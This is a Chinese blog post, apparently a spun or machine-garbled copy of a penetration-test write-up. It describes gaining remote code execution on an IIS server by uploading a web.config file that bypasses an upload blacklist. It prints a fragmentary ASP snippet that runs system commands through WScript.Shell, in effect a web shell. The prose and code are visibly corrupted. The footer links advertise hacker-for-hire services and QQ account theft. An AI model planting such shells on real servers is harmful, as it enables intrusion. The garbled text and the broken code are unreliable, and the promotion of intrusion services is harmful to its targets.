上传web.config文件获取长途代码履行权限

访客5年前黑客工具497


本文叙述的是,我通过上传一个web.config文件,绕过方针测验网站的黑名单机制,打破履行权限约束,完成ASP代码运转获取长途代码履行权限。
前语
无聊的校园实习期,做完实验后无事可做,所以,在取得对校园网站的测验授权后,我就来了兴致。通过一番简略的前期侦测之后,我发现了某个网站存在的上传功用比较有意思。从服务勘探阶段可知,该网站是一台IIS服务器,遇到这种网站,我一般会在网站URL中加上/来进行测验,因为ASP.NET默许设置有XSS进犯过滤功用,所以,服务器对/这样的测验回来了以下相似的过错呼应音讯:

Server Error in ‘/’ Application.
A potentially dangerous Request.Path value was detected from the client (
在这个回来页底部,我检查到了详细的ASP.NET版别,还有一个Microsoft的服务器头信息:
Server: Microsoft-IIS/8.5
测验
有了这些信息之后,我就想看看是否存在一些未授权的文件上传功用。通过‘.aspx’、‘.asp’ 和 ‘.a *** x’等不同后缀文件的上传测验后,都是回来了过错音讯页面。
Description: Upload failed – Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856
唉,得试着转变下思路。因为我有好多年的ASP.NET编程经历,通过了这些不同后缀的文件履行测验之后,我多少对这个网站的上传机制有所了解。能不能上传一个包含正常元数据和与网站使用相关内容的文件呢?这儿,我想到了‘.htaccess’ 文件,但因为这是一台Windows服务器,所以对应的文件应该是web.config,但我从来没测验上传过这种.config文件啊。
Web.config文件
什么是web.config文件呢?
Web.config文件是一个XML文本文件,它用来贮存ASP.NETWeb 使用程序的装备信息(如最常用的设置ASP.NETWeb 使用程序的身份验证 *** ),它能够出现在使用程序的每一个目录中。当你通过.NET新建一个Web使用程序后,默许情况下会在根目录主动创立一个默许的Web.config文件,包含默许的装备设置,一切的子目录都承继它的装备设置。假如你想修正子目录的装备设置,你能够在该子目录下新建一个Web.config文件,它能够供给除从父目录承继的装备信息以外的装备信息,也能够重写或修正父目录中界说的设置。web.config文件放置在要目录下则会对整个网站产生影响,假如放置在其它目录之下,则只会对当时目录产生影响。
通过web.config文件,咱们能够对以下网站特点进行操控:
Database connection strings. (数据库衔接字符串)
Error behavior.(过错操作)
Security.(安全性)
因为web.config文件是XML文本,不像‘.html’ 或 ‘.txt等特别后缀格局,所以,我想测验来上传个web.config看看,这一传可不得了,居然没回来任何过错呼应音讯页面,并且这个web.config被成功上传到了方针服务器网站的某个目录下了。
使用web.config
好吧,现在咱们想办法来使用这条途径,通过一番研讨,我发现在这篇文章中有安全人员提到过,在web.config文件中增加代码完成了ASP代码运转的 *** ,所以,我通过改装,在其间增加了履行体系CMD指令的代码,如下:
1.0″ encoding=”UTF-8″?>
”)
Response.write(“
”)
Set wShell1 = CreateObject(“WScript.Shell”)
Set cmd1 = wShell1.Exec(“whoami”)
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write(“
–>
以上代码在web.config中增加了一个可读可写权限的处理句柄程序,然后咱们在之内写入了服务器端指令履行代码。当把这个web.config文件上传成功之后,阅读拜访它,就会履行体系指令whoami指令,之后可成功回来 ‘nt authoritysystem,这样就取得了一个长途代码履行权限!是不是很 *** 。剩余的便是好好写一份浸透测验报告,对这个缝隙进行上报了。
 

相关文章

浅谈弱口令的损害

故事要从一次困难的浸透测验说起(以下事例均为授权测验),实践证明,要想进行一次完美的浸透,网站缝隙跟弱口令更配! 简介 一般以为简单被别人(他们有可能对你很了解)猜测到或被破解东西破解的口令均为弱口令...

qq如何盗号_郑州黑客的联系方式-找黑客入侵外国邮箱发个邮件

「qq如何盗号_郑州黑客的联系方式-找黑客入侵外国邮箱发个邮件」能够看到局域网中其他客户端的内网地址和MAC地址。 region = pic_obj.crop(box)admin_articl...

勋章,找黑客查火车票信息,广东找黑客联系方式

1.Burp中Options->Upstream Proxy Servers,装备原Proxy(你本来上网的)。 root@e:/rootkit# python -m SimpleHTTPSer...

中国黑客接单平台_被骗了找黑客帮忙

一、多样化的进犯投进办法二、 活泼宗族 make clean all管道履行日志中国黑客接单平台,被骗了找黑客帮忙 这意味着,像var(args);和“string”(args);这样的内容,都等价于...

我老婆网络赌博去万,想报警,自己会受到什么惩罚

8、2019年7月31日ExecReload=/usr/sbin/apachectl graceful* when it's safe in the single Listen case.关于Blue...

在百度问题贴里面找到的黑客可信吗?

git checkout 2.8.8· https://www.shodan.io/search?query=port%3A3389+2008#endif Acknowledgements: Remo...